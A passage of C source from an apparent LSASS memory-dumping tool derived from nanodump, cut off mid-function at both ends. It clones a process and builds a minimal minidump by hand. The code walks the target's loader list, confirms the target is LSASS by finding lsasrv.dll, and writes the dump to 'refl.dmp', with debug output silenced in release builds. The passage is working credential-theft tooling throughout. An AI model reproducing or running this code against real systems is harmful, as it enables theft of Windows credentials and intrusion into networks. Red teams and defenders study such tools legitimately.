DWORD ret = refl_creator(&args); 228 | 229 | if (args.returned_hndl == 0) 230 | 231 | DPRINT("Clone PID: %d\n", args.returned_pid); 232 | 233 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, args.returned_pid); 234 | 235 | #ifdef _DEBUG 236 | if (hProcess != NULL) 237 | { 238 | ULONG_PTR ptr = 0; 239 | 240 | MEMORY_BASIC_INFORMATION mbi = {}; 241 | 242 | do 243 | { 244 | VirtualQueryEx(hProcess, (LPVOID)ptr, &mbi, sizeof(mbi)); 245 | if (check_vad_permission(&mbi)) 246 | { 247 | DPRINT("[%p] Buffer %p size %p\n", mbi.Type, mbi.BaseAddress, mbi.RegionSize); 248 | } 249 | ptr = (ULONG_PTR) mbi.BaseAddress + mbi.RegionSize; 250 | } while (ptr < (0x00007fffffff0000)); 251 | } 252 | #endif 253 | 254 | #ifdef _USE_DBGHELP 255 | HANDLE outFile = CreateFile(L"refl.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 256 | 257 | DWORD retd = MiniDumpWriteDump(args.returned_hndl, args.returned_pid, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL); 258 | CloseHandle(outFile); 259 | #else 260 | dump_context dc = {}; 261 | dc.hProcess = hProcess; 262 | dc.DumpMaxSize = 0x4000000; 263 | 264 | dc.BaseAddress = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dc.DumpMaxSize); 265 | 266 | if (NanoDumpWriteDump(&dc)) 267 | { 268 | HANDLE outFile = CreateFileA("refl.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 269 | DPRINT("Using file: refl.dmp\n"); 270 | 271 | DPRINT("Generated output %p size %p\n", dc.BaseAddress, (PVOID)dc.DumpMaxSize); 272 | WriteFile(outFile, dc.BaseAddress, dc.rva, NULL, NULL); 273 | 274 | CloseHandle(outFile); 275 | } 276 | #endif 277 | 278 | if (args.returned_hndl != NULL) 279 | { 280 | TerminateProcess(args.returned_hndl, 0); 281 | CloseHandle(args.returned_hndl); 282 | } 283 | return 0; 284 | } 285 | -------------------------------------------------------------------------------- /src/nanodump.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef MINIDUMP_SIGNATURE 3 | #define MINIDUMP_SIGNATURE 0x504d444d 4 | #endif 5 | 6 | #ifndef MINIDUMP_VERSION 7 | #define MINIDUMP_VERSION 42899 8 | #endif 9 | 10 | #define MINIDUMP_IMPL_VERSION 0 11 | 12 | #define SIZE_OF_HEADER 32 13 | #define SIZE_OF_DIRECTORY 12 14 | #ifdef _WIN64 15 | #define SIZE_OF_SYSTEM_INFO_STREAM 48 16 | #else 17 | #define SIZE_OF_SYSTEM_INFO_STREAM 56 18 | #endif 19 | #define SIZE_OF_MINIDUMP_MODULE 108 20 | 21 | #define LSASRV_DLL L"lsasrv.dll" 22 | #ifdef _WIN64 23 | #define LDR_POINTER_OFFSET 0x18 24 | #define MODULE_LIST_POINTER_OFFSET 0x10 25 | #else 26 | #define LDR_POINTER_OFFSET 0xc 27 | #define MODULE_LIST_POINTER_OFFSET 0xc 28 | #endif 29 | 30 | typedef struct _ND_LDR_DATA_TABLE_ENTRY 31 | { 32 | struct _LIST_ENTRY InLoadOrderLinks; 33 | struct _LIST_ENTRY InMemoryOrderLinks; 34 | struct _LIST_ENTRY InInitializationOrderLinks; 35 | PVOID DllBase; 36 | PVOID EntryPoint; 37 | ULONG SizeOfImage; 38 | UNICODE_STRING FullDllName; 39 | UNICODE_STRING BaseDllName; 40 | } ND_LDR_DATA_TABLE_ENTRY, * PND_LDR_DATA_TABLE_ENTRY; 41 | 42 | enum StreamType 43 | { 44 | SystemInfoStream = 7, 45 | ModuleListStream = 4, 46 | Memory64ListStream = 9, 47 | }; 48 | 49 | enum ProcessorArchitecture 50 | { 51 | AMD64 = 9, 52 | INTEL = 0, 53 | }; 54 | 55 | enum MiniDumpType 56 | { 57 | MiniDumpNormal = 0, 58 | }; 59 | 60 | typedef struct _MiniDumpHeader 61 | { 62 | ULONG32 Signature; 63 | SHORT Version; 64 | SHORT ImplementationVersion; 65 | ULONG32 NumberOfStreams; 66 | ULONG32 StreamDirectoryRva; 67 | ULONG32 CheckSum; 68 | ULONG32 Reserved; 69 | ULONG32 TimeDateStamp; 70 | ULONG32 Flags; 71 | } MiniDumpHeader, * PMiniDumpHeader; 72 | 73 | typedef struct _MiniDumpDirectory 74 | { 75 | ULONG32 StreamType; 76 | ULONG32 DataSize; 77 | ULONG32 Rva; 78 | } MiniDumpDirectory, * PMiniDumpDirectory; 79 | 80 | typedef struct _dump_context 81 | { 82 | HANDLE hProcess; 83 | PVOID BaseAddress; 84 | ULONG32 rva; 85 | SIZE_T DumpMaxSize; 86 | ULONG32 Signature; 87 | USHORT Version; 88 | USHORT ImplementationVersion; 89 | } dump_context, * Pdump_context; 90 | 91 | #define RVA(type, base_addr, rva) (type)(ULONG_PTR)((ULONG_PTR) base_addr + rva) 92 | 93 | typedef struct _MiniDumpSystemInfo 94 | { 95 | SHORT ProcessorArchitecture; 96 | SHORT ProcessorLevel; 97 | SHORT ProcessorRevision; 98 | char NumberOfProcessors; 99 | char ProductType; 100 | ULONG32 MajorVersion; 101 | ULONG32 MinorVersion; 102 | ULONG32 BuildNumber; 103 | ULONG32 PlatformId; 104 | ULONG32 CSDVersionRva; 105 | SHORT SuiteMask; 106 | SHORT Reserved2; 107 | #if _WIN64 108 | ULONG64 ProcessorFeatures1; 109 | ULONG64 ProcessorFeatures2; 110 | #else 111 | ULONG32 VendorId1; 112 | ULONG32 VendorId2; 113 | ULONG32 VendorId3; 114 | ULONG32 VersionInformation; 115 | ULONG32 FeatureInformation; 116 | ULONG32 AMDExtendedCpuFeatures; 117 | #endif 118 | } MiniDumpSystemInfo, * PMiniDumpSystemInfo; 119 | 120 | #ifdef _WIN64 121 | #define CID_OFFSET 0x40 122 | #define TEB_OFFSET 0x30 123 | #define PEB_OFFSET 0x60 124 | #define READ_MEMLOC __readgsqword 125 | #else 126 | #define CID_OFFSET 0x20 127 | #define TEB_OFFSET 0x18 128 | #define PEB_OFFSET 0x30 129 | #define READ_MEMLOC __readfsdword 130 | #endif 131 | 132 | typedef struct _module_info 133 | { 134 | struct _module_info* next; 135 | ULONG64 dll_base; 136 | ULONG32 size_of_image; 137 | char dll_name[512]; 138 | ULONG32 name_rva; 139 | ULONG32 TimeDateStamp; 140 | ULONG32 CheckSum; 141 | } module_info, * Pmodule_info; 142 | 143 | typedef struct _MiniDumpLocationDescriptor 144 | { 145 | ULONG32 DataSize; 146 | ULONG32 rva; 147 | } MiniDumpLocationDescriptor, * PMiniDumpLocationDescriptor; 148 | 149 | typedef struct _VsFixedFileInfo 150 | { 151 | ULONG32 dwSignature; 152 | ULONG32 dwStrucVersion; 153 | ULONG32 dwFileVersionMS; 154 | ULONG32 dwFileVersionLS; 155 | ULONG32 dwProductVersionMS; 156 | ULONG32 dwProductVersionLS; 157 | ULONG32 dwFileFlagsMask; 158 | ULONG32 dwFileFlags; 159 | ULONG32 dwFileOS; 160 | ULONG32 dwFileType; 161 | ULONG32 dwFileSubtype; 162 | ULONG32 dwFileDateMS; 163 | ULONG32 dwFileDateLS; 164 | } VsFixedFileInfo, * PVsFixedFileInfo; 165 | 166 | typedef struct _MiniDumpModule 167 | { 168 | ULONG64 BaseOfImage; 169 | ULONG32 SizeOfImage; 170 | ULONG32 CheckSum; 171 | ULONG32 TimeDateStamp; 172 | ULONG32 ModuleNameRva; 173 | VsFixedFileInfo VersionInfo; 174 | MiniDumpLocationDescriptor CvRecord; 175 | MiniDumpLocationDescriptor MiscRecord; 176 | ULONG64 Reserved0; 177 | ULONG64 Reserved1; 178 | } MiniDumpModule, * PMiniDumpModule; 179 | 180 | typedef struct _MiniDumpMemoryDescriptor64 181 | { 182 | struct _MiniDumpMemoryDescriptor64* next; 183 | ULONG64 StartOfMemoryRange; 184 | ULONG64 DataSize; 185 | DWORD State; 186 | DWORD Protect; 187 | DWORD Type; 188 | } MiniDumpMemoryDescriptor64, * PMiniDumpMemoryDescriptor64; 189 | 190 | 191 | typedef enum _MEMORY_INFORMATION_CLASS 192 | { 193 | MemoryBasicInformation, 194 | MemoryWorkingSetInformation, 195 | MemoryMappedFilenameInformation, 196 | MemoryRegionInformation, 197 | MemoryWorkingSetExInformation, 198 | MemorySharedCommitInformation, 199 | MemoryImageInformation, 200 | MemoryRegionInformationEx, 201 | MemoryPrivilegedBasicInformation, 202 | MemoryEnclaveImageInformation, 203 | MemoryBasicInformationCapped 204 | } MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS; 205 | 206 | #define STATUS_SUCCESS 0x00000000 207 | #define STATUS_UNSUCCESSFUL 0xC0000001 208 | #define STATUS_PARTIAL_COPY 0x8000000D 209 | #define STATUS_ACCESS_DENIED 0xC0000022 210 | #define STATUS_OBJECT_PATH_NOT_FOUND 0xC000003A 211 | #define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034 212 | #define STATUS_OBJECT_NAME_INVALID 0xc0000033 213 | #define STATUS_SHARING_VIOLATION 0xC0000043 214 | #define STATUS_NO_MORE_ENTRIES 0x8000001A 215 | #define STATUS_INVALID_CID 0xC000000B 216 | #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 217 | #define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B 218 | #define STATUS_BUFFER_TOO_SMALL 0xC0000023 219 | #define STATUS_OBJECT_NAME_COLLISION 0xC0000035 220 | #define STATUS_ALERTED 0x00000101 221 | 222 | #ifdef _DEBUG 223 | #define DPRINT(fmt, ...) printf(fmt, __VA_ARGS__) 224 | #define PRINT_ERR(fmt, ...) printf("[ERROR]"#fmt"\n", __VA_ARGS__) 225 | #define DPRINT_ERR(fmt, ...) printf("[ERROR]"#fmt"\n", __VA_ARGS__) 226 | 227 | #define syscall_failed(fmt, status) printf("syscall failed. %s %d\n", fmt, status) 228 | #define malloc_failed() printf("[ERROR] malloc failed\n") 229 | #else 230 | #define DPRINT(fmt, ...) do {} while(0) 231 | #define PRINT_ERR(fmt, ...) do {} while(0) 232 | #define DPRINT_ERR(fmt, ...) do {} while(0) 233 | #define syscall_failed(fmt, status) do {} while(0) 234 | #define malloc_failed() do {} while(0) 235 | #endif 236 | 237 | #define intAlloc(size) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size) 238 | #define intFree(addr) HeapFree(GetProcessHeap(), 0, addr) 239 | 240 | #define DATA_FREE(d, l) \ 241 | if (d) { \ 242 | memset(d, 0, l); \ 243 | intFree(d); \ 244 | d = NULL; \ 245 | } 246 | 247 | 248 | struct _RTL_BALANCED_NODE 249 | { 250 | union 251 | { 252 | struct _RTL_BALANCED_NODE* Children[2]; //0x0 253 | struct 254 | { 255 | struct _RTL_BALANCED_NODE* Left; //0x0 256 | struct _RTL_BALANCED_NODE* Right; //0x8 257 | }; 258 | }; 259 | union 260 | { 261 | struct 262 | { 263 | UCHAR Red : 1; //0x10 264 | UCHAR Balance : 2; //0x10 265 | }; 266 | ULONGLONG ParentValue; //0x10 267 | }; 268 | }; 269 | struct XND_LDR_DATA_TABLE_ENTRY 270 | { 271 | struct _LIST_ENTRY InLoadOrderLinks; //0x0 272 | struct _LIST_ENTRY InMemoryOrderLinks; //0x10 273 | struct _LIST_ENTRY InInitializationOrderLinks; //0x20 274 | PVOID DllBase; //0x30 275 | PVOID EntryPoint; //0x38 276 | ULONG32 SizeOfImage; //0x40 277 | struct _UNICODE_STRING FullDllName; //0x48 278 | struct _UNICODE_STRING BaseDllName; //0x58 279 | UCHAR FlagGroup[4]; //0x68 280 | USHORT ObsoleteLoadCount; //0x6c 281 | USHORT TlsIndex; //0x6e 282 | struct _LIST_ENTRY HashLinks; //0x70 283 | ULONG TimeDateStamp; //0x80 284 | struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88 285 | VOID* Lock; //0x90 286 | struct _LDR_DDAG_NODE* DdagNode; //0x98 287 | struct _LIST_ENTRY NodeModuleLink; //0xa0 288 | struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0 289 | VOID* ParentDllBase; //0xb8 290 | VOID* SwitchBackContext; //0xc0 291 | struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8 292 | struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0 293 | ULONGLONG OriginalBase; //0xf8 294 | union _LARGE_INTEGER LoadTime; //0x100 295 | ULONG BaseNameHashValue; //0x108 296 | ULONG32 LoadReason; //0x10c 297 | ULONG ImplicitPathOptions; //0x110 298 | ULONG ReferenceCount; //0x114 299 | ULONG DependentLoadFlags; //0x118 300 | UCHAR SigningLevel; //0x11c 301 | ULONG CheckSum; //0x120 302 | }; 303 | 304 | #define ARRAY_SIZE(a) (sizeof(a)/sizeof((a)[0])) 305 | 306 | #ifdef __cplusplus 307 | extern "C" 308 | #endif 309 | BOOL NanoDumpWriteDump( 310 | IN Pdump_context dc); 311 | -------------------------------------------------------------------------------- /src/nanodump.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "nanodump.h" 6 | #include "utils.h" 7 | 8 | NTSTATUS(NTAPI* _NtQueryInformationProcess)( 9 | IN HANDLE ProcessHandle, 10 | IN PROCESSINFOCLASS ProcessInformationClass, 11 | OUT PVOID ProcessInformation, 12 | IN ULONG ProcessInformationLength, 13 | OUT PULONG ReturnLength OPTIONAL 14 | ); 15 | 16 | typedef struct _linked_list 17 | { 18 | struct _linked_list* next; 19 | } linked_list, * Plinked_list; 20 | 21 | PVOID get_peb_address( 22 | IN HANDLE hProcess) 23 | { 24 | PROCESS_BASIC_INFORMATION basic_info = { 0 }; 25 | basic_info.PebBaseAddress = 0; 26 | PROCESSINFOCLASS ProcessInformationClass = 0; 27 | NTSTATUS status = _NtQueryInformationProcess( 28 | hProcess, 29 | ProcessInformationClass, 30 | &basic_info, 31 | sizeof(PROCESS_BASIC_INFORMATION), 32 | NULL); 33 | if (!NT_SUCCESS(status)) 34 | { 35 | syscall_failed("NtQueryInformationProcess", status); 36 | DPRINT_ERR("Could not get the PEB of the process"); 37 | return 0; 38 | } 39 | 40 | return basic_info.PebBaseAddress; 41 | } 42 | 43 | PVOID get_module_list_address( 44 | IN HANDLE hProcess, 45 | IN BOOL is_lsass) 46 | { 47 | PVOID peb_address, ldr_pointer, ldr_address, module_list_pointer, ldr_entry_address; 48 | 49 | peb_address = get_peb_address(hProcess); 50 | if (!peb_address) 51 | return NULL; 52 | 53 | ldr_pointer = RVA(PVOID, peb_address, LDR_POINTER_OFFSET); 54 | 55 | ldr_address = 0; 56 | NTSTATUS status = ReadProcessMemory( 57 | hProcess, 58 | (PVOID)ldr_pointer, 59 | &ldr_address, 60 | sizeof(PVOID), 61 | NULL); 62 | if (!NT_SUCCESS(status) && !is_lsass) 63 | { 64 | // failed to read the memory of some process, simply continue 65 | return NULL; 66 | } 67 | if (!NT_SUCCESS(status) && is_lsass) 68 | { 69 | if (status == STATUS_ACCESS_DENIED) 70 | { 71 | PRINT_ERR("Failed to read LSASS, status: STATUS_ACCESS_DENIED"); 72 | } 73 | else 74 | { 75 | PRINT_ERR("Failed to read LSASS, status: 0x%lx", status); 76 | } 77 | return NULL; 78 | } 79 | 80 | module_list_pointer = RVA(PVOID, ldr_address, MODULE_LIST_POINTER_OFFSET); 81 | 82 | ldr_entry_address = NULL; 83 | status = ReadProcessMemory( 84 | hProcess, 85 | (PVOID)module_list_pointer, 86 | &ldr_entry_address, 87 | sizeof(PVOID), 88 | NULL); 89 | if (!NT_SUCCESS(status)) 90 | { 91 | syscall_failed("NtReadVirtualMemory", status); 92 | DPRINT_ERR("Could not get the address of the module list"); 93 | return NULL; 94 | } 95 | DPRINT( 96 | "Got the address of the module list: 0x%p", 97 | ldr_entry_address); 98 | return ldr_entry_address; 99 | } 100 | 101 | Pmodule_info add_new_module( 102 | IN HANDLE hProcess, 103 | IN struct XND_LDR_DATA_TABLE_ENTRY* ldr_entry) 104 | { 105 | DWORD name_size; 106 | Pmodule_info new_module = intAlloc(sizeof(module_info)); 107 | if (!new_module) 108 | { 109 | malloc_failed(); 110 | DPRINT_ERR("Could not add new module"); 111 | return NULL; 112 | } 113 | new_module->next = NULL; 114 | new_module->dll_base = (ULONG64)(ULONG_PTR)ldr_entry->DllBase; 115 | new_module->size_of_image = ldr_entry->SizeOfImage; 116 | new_module->TimeDateStamp = ldr_entry->TimeDateStamp; 117 | new_module->CheckSum = ldr_entry->CheckSum; 118 | 119 | name_size = ldr_entry->FullDllName.Length > sizeof(new_module->dll_name) ? 120 | sizeof(new_module->dll_name) : ldr_entry->FullDllName.Length; 121 | 122 | // read the full path of the DLL 123 | NTSTATUS status = ReadProcessMemory( 124 | hProcess, 125 | (PVOID)ldr_entry->FullDllName.Buffer, 126 | new_module->dll_name, 127 | name_size, 128 | NULL); 129 | if (!NT_SUCCESS(status)) 130 | { 131 | syscall_failed("NtReadVirtualMemory", status); 132 | DPRINT_ERR("Could not add new module"); 133 | return NULL; 134 | } 135 | return new_module; 136 | } 137 | 138 | BOOL read_ldr_entry( 139 | IN HANDLE hProcess, 140 | IN PVOID ldr_entry_address, 141 | OUT struct XND_LDR_DATA_TABLE_ENTRY* ldr_entry, 142 | OUT wchar_t* base_dll_name) 143 | { 144 | // read the entry 145 | NTSTATUS status = ReadProcessMemory( 146 | hProcess, 147 | ldr_entry_address, 148 | ldr_entry, 149 | sizeof(struct XND_LDR_DATA_TABLE_ENTRY), 150 | NULL); 151 | if (!NT_SUCCESS(status)) 152 | { 153 | syscall_failed("NtReadVirtualMemory", status); 154 | DPRINT_ERR( 155 | "Could not read module information at: 0x%p", 156 | ldr_entry_address); 157 | return FALSE; 158 | } 159 | // initialize base_dll_name with all null-bytes 160 | memset(base_dll_name, 0, MAX_PATH); 161 | // read the dll name 162 | status = ReadProcessMemory( 163 | hProcess, 164 | (PVOID)ldr_entry->BaseDllName.Buffer, 165 | base_dll_name, 166 | ldr_entry->BaseDllName.Length, 167 | NULL); 168 | if (!NT_SUCCESS(status)) 169 | { 170 | syscall_failed("NtReadVirtualMemory", status); 171 | DPRINT_ERR( 172 | "Could not read module information at: 0x%p", 173 | ldr_entry->BaseDllName.Buffer); 174 | return FALSE; 175 | } 176 | return TRUE; 177 | } 178 | 179 | Pmodule_info find_modules( 180 | IN HANDLE hProcess, 181 | IN wchar_t* important_modules[], 182 | IN int number_of_important_modules, 183 | IN BOOL is_lsass) 184 | { 185 | // module list 186 | Pmodule_info module_list = NULL; 187 | 188 | // find the address of LDR_DATA_TABLE_ENTRY 189 | PVOID ldr_entry_address = get_module_list_address( 190 | hProcess, 191 | is_lsass); 192 | if (!ldr_entry_address) 193 | return NULL; 194 | 195 | PVOID first_ldr_entry_address = NULL; 196 | SHORT dlls_found = 0; 197 | BOOL lsasrv_found = FALSE; 198 | struct XND_LDR_DATA_TABLE_ENTRY ldr_entry; 199 | wchar_t base_dll_name[MAX_PATH]; 200 | // loop over each DLL loaded, looking for the important modules 201 | while (dlls_found < number_of_important_modules) 202 | { 203 | // read the current entry 204 | BOOL success = read_ldr_entry( 205 | hProcess, 206 | ldr_entry_address, 207 | &ldr_entry, 208 | base_dll_name); 209 | if (!success) 210 | return NULL; 211 | 212 | if (!first_ldr_entry_address) 213 | first_ldr_entry_address = ldr_entry.InLoadOrderLinks.Blink; 214 | 215 | // loop over each important module and see if we have a match 216 | for (int i = 0; i < number_of_important_modules; i++) 217 | { 218 | // compare the DLLs' name, case insensitive 219 | if (!_WCSICMP(important_modules[i], base_dll_name)) 220 | { 221 | DPRINT( 222 | "Found %ls at 0x%p", 223 | base_dll_name, 224 | ldr_entry_address); 225 | // check if the DLL is 'lsasrv.dll' so that we know the process is indeed LSASS 226 | if (!_WCSICMP(important_modules[i], LSASRV_DLL)) 227 | lsasrv_found = TRUE; 228 | 229 | // add the new module to the linked list 230 | Pmodule_info new_module = add_new_module( 231 | hProcess, 232 | &ldr_entry); 233 | if (!new_module) 234 | return NULL; 235 | 236 | if (!module_list) 237 | { 238 | module_list = new_module; 239 | } 240 | else 241 | { 242 | Pmodule_info last_module = module_list; 243 | while (last_module->next) 244 | last_module = last_module->next; 245 | last_module->next = new_module; 246 | } 247 | dlls_found++; 248 | break; 249 | } 250 | } 251 | 252 | // set the next entry as the current entry 253 | ldr_entry_address = ldr_entry.InLoadOrderLinks.Flink; 254 | // if we are back at the beginning, break 255 | if (ldr_entry_address == first_ldr_entry_address) 256 | break; 257 | } 258 | // the LSASS process should always have 'lsasrv.dll' loaded 259 | if (is_lsass && !lsasrv_found) 260 | { 261 | PRINT_ERR("The selected process is not LSASS."); 262 | return NULL; 263 | } 264 | return module_list; 265 | } 266 | 267 | 268 | VOID free_linked_list( 269 | IN PVOID head, 270 | IN ULONG node_size) 271 | { 272 | if (!head) 273 | return; 274 | 275 | Plinked_list node = (Plinked_list)head; 276 | ULONG32 number_of_nodes = 0; 277 | while (node) 278 | { 279 | number_of_nodes++; 280 | node = node->next; 281 | } 282 | 283 | for (int i = number_of_nodes - 1; i >= 0; i--) 284 | { 285 | node = (Plinked_list)head; 286 | 287 | int jumps = i; 288 | while (jumps--) 289 | node = node->next; 290 | 291 | DATA_FREE(node, node_size); 292 | } 293 | } 294 | 295 | 296 | VOID writeat( 297 | IN Pdump_context dc, 298 | IN ULONG32 rva, 299 | IN const PVOID data, 300 | IN unsigned size) 301 | { 302 | PVOID dst = RVA( 303 | PVOID, 304 | dc->BaseAddress, 305 | rva); 306 | memcpy(dst, data, size); 307 | } 308 | 309 | BOOL append( 310 | IN Pdump_context dc, 311 | IN const PVOID data, 312 | IN ULONG32 size) 313 | { 314 | ULONG32 new_rva = dc->rva + size; 315 | if (new_rva < dc->rva) 316 | { 317 | PRINT_ERR("The dump size exceeds the 32-bit address space!"); 318 | return FALSE; 319 | } 320 | else if (new_rva >= dc->DumpMaxSize) 321 | { 322 | PRINT_ERR("The dump is too big, please increase DUMP_MAX_SIZE."); 323 | return FALSE; 324 | } 325 | else 326 | { 327 | writeat(dc, dc->rva, data, size); 328 | dc->rva = new_rva; 329 | return TRUE; 330 | } 331 | } 332 | 333 | BOOL write_header( 334 | IN Pdump_context dc) 335 | { 336 | DPRINT("Writing header"); 337 | MiniDumpHeader header = { 0 }; 338 | DPRINT("Signature: 0x%x", dc->Signature); 339 | header.Signature = dc->Signature; 340 | DPRINT("Version: %hu", dc->Version); 341 | header.Version = dc->Version; 342 | DPRINT("ImplementationVersion: %hu", dc->ImplementationVersion); 343 | header.ImplementationVersion = dc->ImplementationVersion; 344 | header.NumberOfStreams = 3; // we only need: SystemInfoStream, ModuleListStream and Memory64ListStream 345 | header.StreamDirectoryRva = SIZE_OF_HEADER; 346 | header.CheckSum = 0; 347 | header.Reserved = 0; 348 | header.TimeDateStamp = 0; 349 | header.Flags = MiniDumpNormal; 350 | 351 | char header_bytes[SIZE_OF_HEADER] = { 0 }; 352 | 353 | DWORD offset = 0; 354 | memcpy(header_bytes + offset, &header.Signature, 4); offset += 4; 355 | memcpy(header_bytes + offset, &header.Version, 2); offset += 2; 356 | memcpy(header_bytes + offset, &header.ImplementationVersion, 2); offset += 2; 357 | memcpy(header_bytes + offset, &header.NumberOfStreams, 4); offset += 4; 358 | memcpy(header_bytes + offset, &header.StreamDirectoryRva, 4); offset += 4; 359 | memcpy(header_bytes + offset, &header.CheckSum, 4); offset += 4; 360 | memcpy(header_bytes + offset, &header.Reserved, 4); offset += 4; 361 | memcpy(header_bytes + offset, &header.TimeDateStamp, 4); offset += 4; 362 | memcpy(header_bytes + offset, &header.Flags, 4); 363 | 364 | if (!append(dc, header_bytes, SIZE_OF_HEADER)) 365 | { 366 | DPRINT_ERR("Failed to write header"); 367 | return FALSE; 368 | } 369 | 370 | return TRUE; 371 | } 372 | 373 | BOOL write_directory( 374 | IN Pdump_context dc, 375 | IN MiniDumpDirectory directory) 376 | { 377 | BYTE directory_bytes[SIZE_OF_DIRECTORY] = { 0 }; 378 | DWORD offset = 0; 379 | memcpy(directory_bytes + offset, &directory.StreamType, 4); offset += 4; 380 | memcpy(directory_bytes + offset, &directory.DataSize, 4); offset += 4; 381 | memcpy(directory_bytes + offset, &directory.Rva, 4); 382 | if (!append(dc, directory_bytes, sizeof(directory_bytes))) 383 | return FALSE; 384 | 385 | return TRUE; 386 | } 387 | 388 | BOOL write_directories( 389 | IN Pdump_context dc) 390 | { 391 | DPRINT("Writing directory: SystemInfoStream"); 392 | MiniDumpDirectory system_info_directory = { 0 }; 393 | system_info_directory.StreamType = SystemInfoStream; 394 | system_info_directory.DataSize = 0; // this is calculated and written later 395 | system_info_directory.Rva = 0; // this is calculated and written later 396 | if (!write_directory(dc, system_info_directory)) 397 | { 398 | DPRINT_ERR("Failed to write directory"); 399 | return FALSE; 400 | } 401 | 402 | DPRINT("Writing directory: ModuleListStream"); 403 | MiniDumpDirectory module_list_directory = { 0 }; 404 | module_list_directory.StreamType = ModuleListStream; 405 | module_list_directory.DataSize = 0; // this is calculated and written later 406 | module_list_directory.Rva = 0; // this is calculated and written later 407 | if (!write_directory(dc, module_list_directory)) 408 | { 409 | DPRINT_ERR("Failed to write directory"); 410 | return FALSE; 411 | } 412 | 413 | DPRINT("Writing directory: Memory64ListStream"); 414 | MiniDumpDirectory memory64_list_directory = { 0 }; 415 | memory64_list_directory.StreamType = Memory64ListStream; 416 | memory64_list_directory.DataSize = 0; // this is calculated and written later 417 | memory64_list_directory.Rva = 0; // this is calculated and written later 418 | if (!write_directory(dc, memory64_list_directory)) 419 | { 420 | DPRINT_ERR("Failed to write directory"); 421 | return FALSE; 422 | } 423 | 424 | return TRUE; 425 | } 426 | 427 | #if _WIN64 428 | #define PROCESS_PARAMETERS_OFFSET 0x20 429 | #define OSMAJORVERSION_OFFSET 0x118 430 | #define OSMINORVERSION_OFFSET 0x11c 431 | #define OSBUILDNUMBER_OFFSET 0x120 432 | #define OSPLATFORMID_OFFSET 0x124 433 | #define CSDVERSION_OFFSET 0x2e8 434 | #define PROCESSOR_ARCHITECTURE AMD64 435 | #else 436 | #define PROCESS_PARAMETERS_OFFSET 0x10 437 | #define OSMAJORVERSION_OFFSET 0xa4 438 | #define OSMINORVERSION_OFFSET 0xa8 439 | #define OSBUILDNUMBER_OFFSET 0xac 440 | #define OSPLATFORMID_OFFSET 0xb0 441 | #define CSDVERSION_OFFSET 0x1f0 442 | #define PROCESSOR_ARCHITECTURE INTEL 443 | #endif 444 | 445 | BOOL write_system_info_stream( 446 | IN Pdump_context dc) 447 | { 448 | MiniDumpSystemInfo system_info = { 0 }; 449 | 450 | DPRINT("Writing SystemInfoStream"); 451 | 452 | // read the version and build numbers from the PEB 453 | PVOID pPeb; 454 | PULONG32 OSMajorVersion; 455 | PULONG32 OSMinorVersion; 456 | PUSHORT OSBuildNumber; 457 | PULONG32 OSPlatformId; 458 | PUNICODE_STRING CSDVersion; 459 | pPeb = (PVOID)READ_MEMLOC(PEB_OFFSET); 460 | OSMajorVersion = RVA(PULONG32, pPeb, OSMAJORVERSION_OFFSET); 461 | OSMinorVersion = RVA(PULONG32, pPeb, OSMINORVERSION_OFFSET); 462 | OSBuildNumber = RVA(PUSHORT, pPeb, OSBUILDNUMBER_OFFSET); 463 | OSPlatformId = RVA(PULONG32, pPeb, OSPLATFORMID_OFFSET); 464 | CSDVersion = RVA(PUNICODE_STRING, pPeb, CSDVERSION_OFFSET); 465 | system_info.ProcessorArchitecture = PROCESSOR_ARCHITECTURE; 466 | DPRINT("OSMajorVersion: %d", *OSMajorVersion); 467 | DPRINT("OSMinorVersion: %d", *OSMinorVersion); 468 | DPRINT("OSBuildNumber: %d", *OSBuildNumber); 469 | DPRINT("CSDVersion: %ls", CSDVersion->Buffer); 470 | 471 | system_info.ProcessorLevel = 0; 472 | system_info.ProcessorRevision = 0; 473 | system_info.NumberOfProcessors = 0; 474 | // RtlGetVersion -> wProductType 475 | system_info.ProductType = VER_NT_WORKSTATION; 476 | //system_info.ProductType = VER_NT_DOMAIN_CONTROLLER; 477 | //system_info.ProductType = VER_NT_SERVER; 478 | system_info.MajorVersion = *OSMajorVersion; 479 | system_info.MinorVersion = *OSMinorVersion; 480 | system_info.BuildNumber = *OSBuildNumber; 481 | system_info.PlatformId = *OSPlatformId; 482 | system_info.CSDVersionRva = 0; // this is calculated and written later 483 | system_info.SuiteMask = 0; 484 | system_info.Reserved2 = 0; 485 | #if _WIN64 486 | system_info.ProcessorFeatures1 = 0; 487 | system_info.ProcessorFeatures2 = 0; 488 | #else 489 | system_info.VendorId1 = 0; 490 | system_info.VendorId2 = 0; 491 | system_info.VendorId3 = 0; 492 | system_info.VersionInformation = 0; 493 | system_info.FeatureInformation = 0; 494 | system_info.AMDExtendedCpuFeatures = 0; 495 | #endif 496 | 497 | ULONG32 stream_size = SIZE_OF_SYSTEM_INFO_STREAM; 498 | char system_info_bytes[SIZE_OF_SYSTEM_INFO_STREAM] = { 0 }; 499 | 500 | DWORD offset = 0; 501 | memcpy(system_info_bytes + offset, &system_info.ProcessorArchitecture, 2); offset += 2; 502 | memcpy(system_info_bytes + offset, &system_info.ProcessorLevel, 2); offset += 2; 503 | memcpy(system_info_bytes + offset, &system_info.ProcessorRevision, 2); offset += 2; 504 | memcpy(system_info_bytes + offset, &system_info.NumberOfProcessors, 1); offset += 1; 505 | memcpy(system_info_bytes + offset, &system_info.ProductType, 1); offset += 1; 506 | memcpy(system_info_bytes + offset, &system_info.MajorVersion, 4); offset += 4; 507 | memcpy(system_info_bytes + offset, &system_info.MinorVersion, 4); offset += 4; 508 | 